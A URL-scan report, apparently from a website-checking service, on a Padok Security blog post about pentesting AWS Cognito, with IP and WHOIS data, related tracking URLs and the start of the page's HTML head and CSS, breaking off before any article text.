https://security.padok.fr/en/blog/aws-cognito-pentest
Last Checked: Sep 26, 2023, 15:41 EDT
| IP Address: | 199.60.103.254 |
| ASN #: | AS209242 CLOUDFLARESPECTRUM Cloudflare, Inc., US |
| Location: | Unknown, Unknown, Unknown |
| URL Reputation: |
|
Other submissions on 199.60.103.254:
-
https://info.cleanearthrestorations.com/e3t/Ctc/WT+113/bRQV04/VWZc1418BqrgVxF_tw5t8qvHVGwS3m4-YD8wN9cd5G79jTXQV7Wycr7CgWBjW9315Dt14H_SJW9dK44_45JdzqW7fHxXY7J87rrW4N1rZX9ghF60N5fsbY8L47YkW5xWdFC3zrRFPW8SGJgg5DwyL0N7FJgTHxNQnhW7MQ1Ny38kj2PW4jSDR68RnL5CN6_k1rn6wGYmW3cP6Y03PdnKRW7gQCcB23MPTHW3LTK9650TqvwW8dHG3F3_6fYcW2vbp-q7nRMFqW5VHZvb6l-S7WV4bHMx6mn3l7W1p80yv1668mbN3MT6Stpy7TLW7k5XGX93hjXTW1xgzlN3djqD2W5tBk0K33MbMqN2nrJK0j3DPlW3RqT6l6Z0xL0W3FthKb5G-dSQW4v9Wk-3h7jTzW52tyXF6mQx28W5CG3Rz7Y1tjvVFcmBg6byJV3M_VZbnd_PjNW4Y3k0H81DQWtW1Tw3CH6_qw7pW4ntyWs5h1FVwW8BNkhK2VsWWmW14Ywwp8h4wHwN7yPJ28141BnW96h8Q32Q5CykVDqYGB7nSQVDF5My9LbmwgdN6GDDzVc7_CyW285jfH1hJHnZW5hGKRD2G4_r4N2GMHlSPR3XjW5110l44p0NfHW5tYp6178S0dHW6bV42f8-BzcqV3xGMt6QmZBZW81BYfc50y8KhW7xWvVs5v6q3dW1b1RzY7X5gKkW3q4-lm7DQgMMW3nvr6r84KnRNW6tvkSn6G7bdgW8wVZ_d5bcQQgW4qKb_W8tpSHzW65BL1G2NBgCBW1h2DvT6YfqpFW5N475r42vjYqW5qSmmm1xZWhYN5bYMPz8CZ1sW6nPDyQ1h8V2hW2-JKct6m3lrKW8ZVdLm6ZN7f03gJQ1
-
https://info.cleanearthrestorations.com/
-
http://199.60.103.254/
-
https://eu.gilbarco.com/e3t/Ctc/I2+113/cf-bq04/VW2j0S4T6QvhW6R6ssq2FyV3XW5GRJ1L4_RftdN7Y8_1Z5kh3ZV3Zsc37CgS1JN2-Nn6fffsTjVWtSgt97GfKfW4B1YVs7j2rRWW6rKYHy4Ts-rQN4vRVt1FDxkzN3f45GG96qV5W3L-zzL28_7zGW4x_J5-8r0kh-W4YTk9r2c5p_BVkzXPM42Vn98W8ZGKKY7QQG0HW5tVtd05VlsRGW8b8vgW1NPmXyW1MDsQQ4TpqlSW2pLdNn5rCc7NW9kgTWT6l_hT5W7tvN5J2Zfy9wW9jlTPP2jv5qHW6gc6cd3vgF58VGgQ_N61TB70W2jCHcl13bTSvW5Jbptl3c72W7W98BScz808gJsW6htHLs7TV3JVW8CzybJ41d5TPV19dzc27_040W7-2gqg8XrqTdW53NxY15GlQcqW653G0g14hjpNW5HT6fM6RPPGwW5bkHxL3m0XJHW3nZksx94X710W2zbYng2J8cnrW92PwsJ21CXfL388G1
-
http://www.globalexpansion.com/
-
https://www.nisum.com/e3t/Ctc/DM+113/cSfGX04/VWVJQ98mCrKpW5tht5h6XPRsqW430FVB51v4XWN80642k3lLzNV1-WJV7CgP_LVnC_9k6tm-fLW3GhXxV4zdD8pW6zyZHb7BFSMyVYKdc97SQw7GW1gVPxz49LwgpW1DzQVX7zL7h1W32gntl466d7cW1rS1mW4ZcY8LW4MRcrf6l5K6ZW4lyCnL5CfRGYW1NzV66863pVNW34NsHV7sWdfxW1MRbQx1TVH75W77K5nL2mXM-yN2cgncbFjYTLW1Xqz3X5kLCT6W6VVjc93tm83hN4bJ6y6jWRQp3mGh1
-
https://blog.merklescience.com/hubfs/One%20-%20Pager/Compass%20Factsheet_April%202023.pdf
-
https://info.battea.com/hs/preferences-center/en/page?data=W2nXS-N30h-R_W3K3jRt3gmZSWW329b6n2MqqtJW3P767s30G67yW3LG5cV3M64YdW3V_2vF3VKS04W45yJ1B1Qk4g5W3_TbpW49N0X-W2PQr9v2PV-yhW2Ypr_X2-vZJWW49x1sY3LRjcMW3JT_D72sVR_RW3Vxrd045M7ZZW45VGvv45qd3qW2YLKCn1Zqss_W41S8X938D61lW2HZZ7241HP5jW3G-DK-49PGSJW3__DZy3JHb7MW2-s_pg1Lk0VpW1N2b_G3_MGXlW3LSWP61LzNNjW4tl3FV3_-08-W4r5N8P2FSY36W1LGLlc1VtqPKW3ZttrJ3b3lbRW3VYZNK1ZkW2vW4fKwJl24SHg5W22V__w1S5dgvW32xL-H2KXhqTW32nqtZ1Vdq1nW2vw8z72y4DpBW1YZ3V447CpF0W4cwVbM2THP3PW4mGNRl2PFJFyW2WH8DT2TkBVkW47tktZ49gnb3W4fxY-93JQDfXW45FJ4w2YNkfNW3KcDxg3_Xtk6W43yyvN4tlz83W2FTJSY2MVSPwW2WR4wL3VLM4-W23p3QD3jqGRt0&utm_campaign=GAIM%20Ops%202024&utm_source=hs_email&utm_medium=email&utm_content=2&_hsenc=p2ANqtz-_9O_lb7iuizKCIIWoYr9kohiO9NKz2Wm3gzJzWmjDVlah7Z8WsgMyCDaUtb_bdZ6Xm5TSBTGeHsDbcqHFfA1khWnqXAw&_hsmi=2
-
https://info.battea.com/hs/preferences-center/en/direct?data=W2nXS-N30h-GQW47WDPK2YJckrW1Bq3Jx3zbTjQW2qSywt2PxwftW24RVCM3SJpwQW38b_gS3F9_MwW4pJDb82RPTNFW3z3lDz239qwHW3LNjSy2y0Tf1W2-Ly133g0NzbW3ZVdVD38n9p2W3yRv_b309jD3W1BlK_P3M9SmKW3LNnVM3VBLsdW4ksnvM34h7J2W41P_VW41W2Y6W2zKWFX1Sl7ldW2zvjrV4rzljhW1N6r3w2t532mW2pbtcR2y24K4W2PxslH3zkrYGW2q_Q7x3R4nnyW2zJbhr3_XXytW3_L3xd2MDKxsW3LHmZX2r1vxnW36FVKC3P9dsyW3Hfxll234jHDW43Skr71BDhV-W1QsBqF4fN0KRW49CfQt1QyV5MW41sJJK2KG3HqW1X1Qmd2xJRW7W1BxdBJ3XGjvCW2HZ66541FHdsW4th_bd21nSsFW3dnF5W4rkx9nW2FS4YX1V8lstW4rqs922FHKW1W3KccBc3djPScW3dyKT-1ZcHGLW3z7TBh1BDH9qW2y0szl2p8QY7W3LV7T23XVMlXW2xZZnc3DL5250&utm_campaign=GAIM%20Ops%202024&utm_source=hs_email&utm_medium=email&utm_content=2&_hsenc=p2ANqtz-_9O_lb7iuizKCIIWoYr9kohiO9NKz2Wm3gzJzWmjDVlah7Z8WsgMyCDaUtb_bdZ6Xm5TSBTGeHsDbcqHFfA1khWnqXAw&_hsmi=2
-
https://www.jackhenry.com/e3t/Ctc/TY+113/b3-c04/VWS8H_3--1YtW1s41Yr8S9bM2W7HlLKX5dgQtDN9fbG9R3qgyTW7Y8-PT6lZ3n3W1xhvWk8PK4pjW5Ly0cw4Mcd_lVnP7094j2Mb9W882VC84N-346W5D05CC8zmcKQN3rJQ1sHTwnYN3YJSyFQ4LNzW6tQ5zq2Fd8K7W5Ffcb43dfQJkW5q-GBc25FnmvW31S-jx7Fw41lN4tSh7vn17hbW4yWJgw8vRmKrW2Jkfk-72W8G4W8fggXv4t502zN8YyXS9Y4Td5W2ZRbLh4Rt243W3NpCd48CnzCDN93GGR3csnHjW7WF5CL5Hml5rW2Rrv-Z63P78yW4KwRz641pj7hW7pQrNW4H5yJCW8Gwwz_1lpw7vW2G8FPl4SfWkKW87ZPqs2pZpWff1DknQq04
Other submissions on padok.fr:
No other submissions on this domain.
Previous checks:
No previous checks.
%%
%% This is the AFNIC Whois server.
%%
%% complete date format: YYYY-MM-DDThh:mm:ssZ
%%
%% Rights restricted by copyright.
%% See https://www.afnic.fr/en/domain-names-and-support/everything-there-is-to-know-about-domain-names/find-a-domain-name-or-a-holder-using-whois/
%%
%%
domain: padok.fr
status: ACTIVE
eppstatus: active
hold: NO
holder-c: ANO00-FRNIC
admin-c: ANO00-FRNIC
tech-c: G768-FRNIC
registrar: GANDI
Expiry Date: 2030-08-29T08:57:56Z
created: 2018-08-29T08:57:56Z
last-update: 2023-08-27T17:09:12.970643Z
source: FRNIC
nserver: ns-12-c.gandi.net
nserver: ns-253-b.gandi.net
nserver: ns-60-a.gandi.net
source: FRNIC
registrar: GANDI
address: 63-65 boulevard Massena
address: 75013 PARIS
country: FR
phone: +33.170377661
fax-no: +33.143731851
e-mail: support@support.gandi.net
website: https://www.gandi.net/fr/tlds/fr/
anonymous: No
registered: 2004-03-08T00:00:00Z
source: FRNIC
nic-hdl: G768-FRNIC
type: ORGANIZATION
contact: GANDI
address: GANDI
address: 63-65 Boulevard MASSENA
address: 75013 Paris
country: FR
phone: +33.143737851
fax-no: +33.143731851
e-mail: noc@gandi.net
registrar: GANDI
changed: 2023-09-26T13:10:50.406997Z
anonymous: NO
obsoleted: NO
eppstatus: associated
eppstatus: active
eligstatus: not identified
reachstatus: not identified
source: FRNIC
nic-hdl: ANO00-FRNIC
type: PERSON
contact: Ano Nymous
registrar: GANDI
changed: 2023-02-16T18:00:04.406996Z
anonymous: YES
remarks: -------------- WARNING --------------
remarks: While the registrar knows him/her,
remarks: this person chose to restrict access
remarks: to his/her personal data. So PLEASE,
remarks: don't send emails to Ano Nymous. This
remarks: address is bogus and there is no hope
remarks: of a reply.
remarks: -------------- WARNING --------------
obsoleted: NO
eppstatus: associated
eppstatus: active
eligstatus: not identified
reachstatus: not identified
source: FRNIC
>>> WHOIS request date: 2023-09-26T19:41:11.005271Z <<<
-
POST204 No Content
https://www.google-analytics.com/g/collect?v=2&tid=G-0XM8LGEM7J>m=45je39p0&_p=1142335009&cid=302477787.1695757268&ul=en-us&sr=1366x768&ir=1&_eu=EAAI&ngs=1&_s=1&sid=1695757267&sct=1&seg=0&dl=https%3A%2F%2Fsecurity.padok.fr%2Fen%2Fblog%2Faws-cognito-pentest&dt=AWS%20Cognito%20pentest%20methodology%3A%20attack%20%26%20remediation%20%7C%20Padok%20Security&en=page_view&_fv=1&_nsi=1&_ss=1
<html lang="en"><head>
<meta charset="utf-8">
<title>AWS Cognito pentest methodology: attack & remediation | Padok Security</title>
<link rel="shortcut icon" href="https://security.padok.fr/hubfs/Padok-Security/Logos/favicon-padok-security.svg">
<meta name="description" content="So, you are pentesting a website, and it uses AWS Cognito. But you don’t know what is this service nor how to abuse it? Let's see how to pwn it!">
<script src="https://connect.facebook.net/en_GB/all.js?hash=0e324f332143bdcb2f3b7df72f5f98b0" async="" crossorigin="anonymous"></script><script type="text/javascript" async="" src="https://www.google-analytics.com/analytics.js"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-0XM8LGEM7J&l=dataLayer&cx=c"></script><script src="https://js.hs-banner.com/5129574.js" type="text/javascript" id="cookieBanner-5129574" data-cookieconsent="ignore" data-hs-ignore="true" data-loader="hs-scriptloader" data-hsjs-portal="5129574" data-hsjs-env="prod" data-hsjs-hublet="na1"></script><script src="https://js.hsadspixel.net/fb.js" type="text/javascript" id="hs-ads-pixel-5129574" data-ads-portal-id="5129574" data-ads-env="prod" data-loader="hs-scriptloader" data-hsjs-portal="5129574" data-hsjs-env="prod" data-hsjs-hublet="na1"></script><script id="twitter-wjs" src="https://platform.twitter.com/widgets.js"></script><script id="facebook-jssdk" src="//connect.facebook.net/en_GB/all.js#xfbml=1&status=0"></script><script src="https://js.hs-banner.com/2463543.js" type="text/javascript" id="cookieBanner-2463543" data-cookieconsent="ignore" data-hs-ignore="true" data-loader="hs-scriptloader" data-hsjs-portal="2463543" data-hsjs-env="prod" data-hsjs-hublet="na1"></script><script src="https://js.hsleadflows.net/leadflows.js" type="text/javascript" id="LeadFlows-2463543" crossorigin="anonymous" data-leadin-portal-id="2463543" data-leadin-env="prod" data-loader="hs-scriptloader" data-hsjs-portal="2463543" data-hsjs-env="prod" data-hsjs-hublet="na1"></script><script src="https://js.hsadspixel.net/fb.js" type="text/javascript" id="hs-ads-pixel-2463543" data-ads-portal-id="2463543" data-ads-env="prod" data-loader="hs-scriptloader" data-hsjs-portal="2463543" data-hsjs-env="prod" data-hsjs-hublet="na1"></script><script src="https://js.hs-analytics.net/analytics/1695757200000/2463543.js" type="text/javascript" id="hs-analytics"></script><script src="/hs/hsstatic/jquery-libs/static-1.4/jquery/jquery-1.11.2.js"></script>
<script>hsjQuery = window['jQuery'];</script>
<meta property="og:description" content="So, you are pentesting a website, and it uses AWS Cognito. But you don’t know what is this service nor how to abuse it? Let's see how to pwn it!">
<meta property="og:title" content="AWS Cognito pentest methodology: attack & remediation | Padok Security">
<meta name="twitter:description" content="So, you are pentesting a website, and it uses AWS Cognito. But you don’t know what is this service nor how to abuse it? Let's see how to pwn it!">
<meta name="twitter:title" content="AWS Cognito pentest methodology: attack & remediation | Padok Security">
<style>
a.cta_button{-moz-box-sizing:content-box !important;-webkit-box-sizing:content-box !important;box-sizing:content-box !important;vertical-align:middle}.hs-breadcrumb-menu{list-style-type:none;margin:0px 0px 0px 0px;padding:0px 0px 0px 0px}.hs-breadcrumb-menu-item{float:left;padding:10px 0px 10px 10px}.hs-breadcrumb-menu-divider:before{content:'›';padding-left:10px}.hs-featured-image-link{border:0}.hs-featured-image{float:right;margin:0 0 20px 20px;max-width:50%}@media (max-width: 568px){.hs-featured-image{float:none;margin:0;width:100%;max-width:100%}}.hs-screen-reader-text{clip:rect(1px, 1px, 1px, 1px);height:1px;overflow:hidden;position:absolute !important;width:1px}
</style>
<link rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/67436502962/1687270199415/Padok-security/css/main.min.css">
<link rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/67436431176/1646132489306/Padok-security/css/theme-overrides.css">
<link class="hs-async-css" rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/67436156693/1651492580673/Padok-security/css/footer.min.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/67436156693/1651492580673/Padok-security/css/footer.min.css"></noscript>
<link class="hs-async-css" rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/70005493578/1687270204058/Padok-security/css/navigation.min.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/70005493578/1687270204058/Padok-security/css/navigation.min.css"></noscript>
<link class="hs-async-css" rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/112565063735/1682344442989/Padok-security/css/case-study-section.min.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/112565063735/1682344442989/Padok-security/css/case-study-section.min.css"></noscript>
<link class="hs-async-css" rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/112565063736/1682344442980/Padok-security/css/blog-listing.min.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/112565063736/1682344442980/Padok-security/css/blog-listing.min.css"></noscript>
<link class="hs-async-css" rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/67436431173/1649147467359/Padok-security/css/banner-cta.min.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="https://security.padok.fr/hs-fs/hub/5129574/hub_generated/template_assets/67436431173/1649147467359/Padok-security/css/banner-cta.min.css"></noscript>
<script type="application/ld+json">
{
"mainEntityOfPage" : {
"@type" : "WebPage",
"@id" : "https://security.padok.fr/en/blog/aws-cognito-pentest"
},
"author" : {
"name" : "Thomas de Lachaux",
"url" : "https://security.padok.fr/en/blog/author/thomas-de-lachaux",
"@type" : "Person"
},
"headline" : "AWS Cognito pentest methodology: attack & remediation | Padok Security",
"datePublished" : "2023-07-24T22:00:00.000Z",
"dateModified" : "2023-09-11T09:09:58.345Z",
"publisher" : {
"name" : "Padok",
"logo" : {
"url" : "https://www.padok.fr/hubfs/Padok-2018/Logo%20Padok/LOGO-violet.png",
"@type" : "ImageObject"
},
"@type" : "Organization"
},
"@context" : "https://schema.org",
"@type" : "BlogPosting",
"image" : [ "https://www.padok.fr/hubfs/Imported_Blog_Media/pentest_aws_cognito-1.webp" ]
}
</script>
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Start of HubSpot Embed Code -->
<script type="text/javascript" id="hs-script-loader" async="" defer="" src="//js.hs-scripts.com/2463543.js"></script>
<!-- End of HubSpot Embed Code -->
<link rel="amphtml" href="https://security.padok.fr/en/blog/aws-cognito-pentest?hs_amp=true">
<meta property="og:image" content="https://security.padok.fr/hubfs/Imported_Blog_Media/pentest_aws_cognito-1.webp#keepProtocol">
<meta property="og:image:alt" content="AWS-cognito">
<meta name="twitter:image" content="https://security.padok.fr/hubfs/Imported_Blog_Media/pentest_aws_cognito-1.webp#keepProtocol">
<meta name="twitter:image:alt" content="AWS-cognito">
<meta property="og:url" content="https://security.padok.fr/en/blog/aws-cognito-pentest">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="https://security.padok.fr/en/blog/aws-cognito-pentest">
<meta property="og:type" content="article">
<link rel="alternate" type="application/rss+xml" href="https://security.padok.fr/en/blog/rss.xml">
<meta name="twitter:domain" content="security.padok.fr">
<script src="//platform.linkedin.com/in.js" type="text/javascript">
lang: en_US
</script><style type="text/css">.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q{display:block!important;border:1px solid #cdcfd2!important;background-color:#fff!important;color:#373a3d!important;width:100vw!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-24GeGuJgk9LrMLp7qVvlyz{background:#6a7e89!important;color:#fff!important;padding:10px!important;font-size:18px!important;font-family:sans-serif!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-KVjdulkCFfUZps29EbgAC{background:#f3f6f8!important;border-bottom:1px solid #cdcfd2!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-KVjdulkCFfUZps29EbgAC>*{margin-right:10px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1OeZ2PQ98oAp6Vc5mMc6V5{list-style:none!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-vCwYmWF_l83ScZBrGnRoi,.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1OeZ2PQ98oAp6Vc5mMc6V5{margin:0!important;padding:0!important;width:100%!important;display:block!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-vCwYmWF_l83ScZBrGnRoi:not(:last-child){border-bottom:1px solid #cdcfd2!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1XQZkb-FlHWABUp4_uShaZ{color:inherit!important;cursor:pointer!important;width:100%!important;display:inline-block!important;margin:10px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1XTzMvb2XKitWz0mFLlyyp{margin:5px!important;display:block!important;width:auto!important;white-space:pre!important;overflow-x:scroll!important;background:inherit!important;color:inherit!important;font-family:monospace}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1XTzMvb2XKitWz0mFLlyyp:not(.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-39QUvFFn5B7GMcqMQkOXZ3){display:none!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-295DY3nO0DbJWMsOqmjCli{background:#f5f5f5!important;color:#5a5a5a!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1aQZwu6CUzAf2zUcI7tg0Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-295DY3nO0DbJWMsOqmjCli{display:none!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-38EPFyKXMtoP12rPlmrHxs{background:#e6f7ff!important;color:#006097!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3W4ZnQjhoGfT1gTNcqRXdi .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-38EPFyKXMtoP12rPlmrHxs{display:none!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-HGYnfzlmgOZ-l7eANhQe_{background:#fff3ea!important;color:#993a00!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-24e52A11B1UIErbKHtBmqc .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-HGYnfzlmgOZ-l7eANhQe_{display:none!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-jji74ZzulHScD0OAD_G7h{background:#fef2f1!important;color:#b10823!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3npS60y-EvfF7G_lioSx2Q.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-28jAOA7cDee-95LvwGsOP- .IN-bf195e49-eb86-4856-9b9f-1c8710d456be-jji74ZzulHScD0OAD_G7h{display:none!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu{background-color:#0073b1!important;border:0!important;border-radius:2px!important;box-sizing:border-box!important;color:#fff!important;cursor:pointer!important;display:inline-block!important;font-family:-apple-system,system-ui,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Fira Sans,Ubuntu,Oxygen,Oxygen Sans,Cantarell,Droid Sans,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Lucida Grande,Helvetica,Arial,sans-serif!important;font-weight:600!important;overflow:hidden!important;outline-width:2px!important;position:relative!important;text-align:center!important;text-decoration:none!important;vertical-align:middle!important;white-space:nowrap!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu:disabled{cursor:not-allowed!important;opacity:.7!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu:not(:disabled):not(.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1zhzkayakwEXovVYUbq5Gy):hover{background-color:#006097!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu:not(:disabled):not(.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1zhzkayakwEXovVYUbq5Gy):active{background-color:#004b7c!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1zhzkayakwEXovVYUbq5Gy{background-color:#fff!important;color:#0073b1!important;box-shadow:inset 0 0 0 1px rgba(0,0,0,.3)!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1zhzkayakwEXovVYUbq5Gy:not(:disabled):hover{color:#006097!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1zhzkayakwEXovVYUbq5Gy:not(:disabled):active{color:#004b7c!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu>xdoor-icon{display:inline-block!important;height:100%!important;vertical-align:top!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu>xdoor-icon>svg{pointer-events:none!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-7inSbaAsvG5bf7w6lJTEr{font-size:10px!important;height:16px!important;line-height:16px!important;padding:0 6px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-7inSbaAsvG5bf7w6lJTEr>xdoor-icon{margin-left:-6px!important;margin-right:3px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-7inSbaAsvG5bf7w6lJTEr>xdoor-icon>svg{height:16px!important;width:16px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-7inSbaAsvG5bf7w6lJTEr.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-2lrEjt4SOTxqrYsv1piG4c>xdoor-icon{margin-right:-6px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu,.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3uCBSbQNVNf2QjqHe1rfb6{font-size:11px!important;height:20px!important;line-height:20px!important;padding:0 7px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3uCBSbQNVNf2QjqHe1rfb6>xdoor-icon,.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu>xdoor-icon{margin-left:-7px!important;margin-right:3.5px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3uCBSbQNVNf2QjqHe1rfb6>xdoor-icon>svg,.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu>xdoor-icon>svg{height:20px!important;width:20px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-3uCBSbQNVNf2QjqHe1rfb6.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-2lrEjt4SOTxqrYsv1piG4c>xdoor-icon,.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-2lrEjt4SOTxqrYsv1piG4c>xdoor-icon{margin-right:-7px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-21Smv9YG-5V6M6KP-5v2WG{font-size:14px!important;height:24px!important;line-height:24px!important;padding:0 12px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-21Smv9YG-5V6M6KP-5v2WG>xdoor-icon{margin-left:-12px!important;margin-right:6px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-21Smv9YG-5V6M6KP-5v2WG>xdoor-icon>svg{height:24px!important;width:24px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-21Smv9YG-5V6M6KP-5v2WG.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-2lrEjt4SOTxqrYsv1piG4c>xdoor-icon{margin-right:-12px!important}.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1G9ISYhSF8XoOmdcl0yKDu.IN-bf195e49-eb86-4856-9b9f-1c8710d456be-1TGdQUTLZdNG4R87OfAB-q{font-size:16px!important;height:32px!important;line-height:32px!important;padding:0 